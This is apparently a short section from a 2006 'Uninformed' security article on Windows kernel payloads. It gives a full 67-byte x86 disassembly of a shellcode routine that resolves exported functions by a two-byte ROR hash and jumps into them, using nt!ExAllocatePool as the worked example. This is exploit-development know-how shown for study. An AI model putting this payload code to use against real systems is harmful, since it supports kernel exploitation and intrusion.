Uninformed: Informative Information for the Uninformed

Vol 3» 2006.Jan

Resolving Symbols

Size: 67 bytes
Compat: All

Another aspect common to almost all payloads on Windows is the use of code that walks the export directory of an image to resolve the address of a symbol3.3. In the kernel, things aren't much different. Barnaby refers to the use of a two-byte XOR/ROR hash in the eEye paper. Alternatively, a four byte hash could be used, but as pointed out in the eEye paper, this leads to a waste of space when two-byte hash could suffice equally well provided there are no collisions.

The approach implemented below involves passing a two-byte hash in the ebx register (the high order bytes do not matter) and the base address of the image to resolve against in the ebp register. In order to save space, the code below is designed in such a way that it will transfer execution into the function after it resolves it, thus making it possible to resolve and call the function in one step without having to cache addresses. In most cases, this leads to a size efficiency increase.

00000000  60                pusha
00000001  31C9              xor ecx,ecx
00000003  8B7D3C            mov edi,[ebp+0x3c]
00000006  8B7C3D78          mov edi,[ebp+edi+0x78]
0000000A  01EF              add edi,ebp
0000000C  8B5720            mov edx,[edi+0x20]
0000000F  01EA              add edx,ebp
00000011  8B348A            mov esi,[edx+ecx*4]
00000014  01EE              add esi,ebp
00000016  31C0              xor eax,eax
00000018  99                cdq
00000019  AC                lodsb
0000001A  C1CA0D            ror edx,0xd
0000001D  01C2              add edx,eax
0000001F  84C0              test al,al
00000021  75F6              jnz 0x19
00000023  41                inc ecx
00000024  6639DA            cmp dx,bx
00000027  75E3              jnz 0xc
00000029  49                dec ecx
0000002A  8B5F24            mov ebx,[edi+0x24]
0000002D  01EB              add ebx,ebp
0000002F  668B0C4B          mov cx,[ebx+ecx*2]
00000033  8B5F1C            mov ebx,[edi+0x1c]
00000036  01EB              add ebx,ebp
00000038  8B048B            mov eax,[ebx+ecx*4]
0000003B  01E8              add eax,ebp
0000003D  8944241C          mov [esp+0x1c],eax
00000041  61                popa
00000042  FFE0              jmp eax

To understand how this function works, take for example the resolution of nt!ExAllocatePool. First, a hash of the string ``ExAllocatePool'' must be obtained using the same algorithm that the payload uses. For this payload, the result is 0x0311b83f3.4. Since the implementation uses a two-byte hash, only 0xb83f is needed. This hash is then stored in the bx register. Since ExAllocatePool is found within nt, the base address of nt must be passed in the ebp register. Finally, in order to perform the resolution, the arguments to nt!ExAllocatePool must be pushed onto the stack prior to calling the resolution routine. This is because the resolution routine will transfer control into nt!ExAllocatePool after the resolution succeeds and therefore must have the proper arguments on the stack.

One downside to this implementation is that it won't support the resolution of data exports (since it tries to jump into them). However, for such a purpose, the routine could be modified to simply not issue the jmp instruction and instead rely on the caller to execute it. It is also important for payloads that use this resolution technique to clear the direction flag with cld.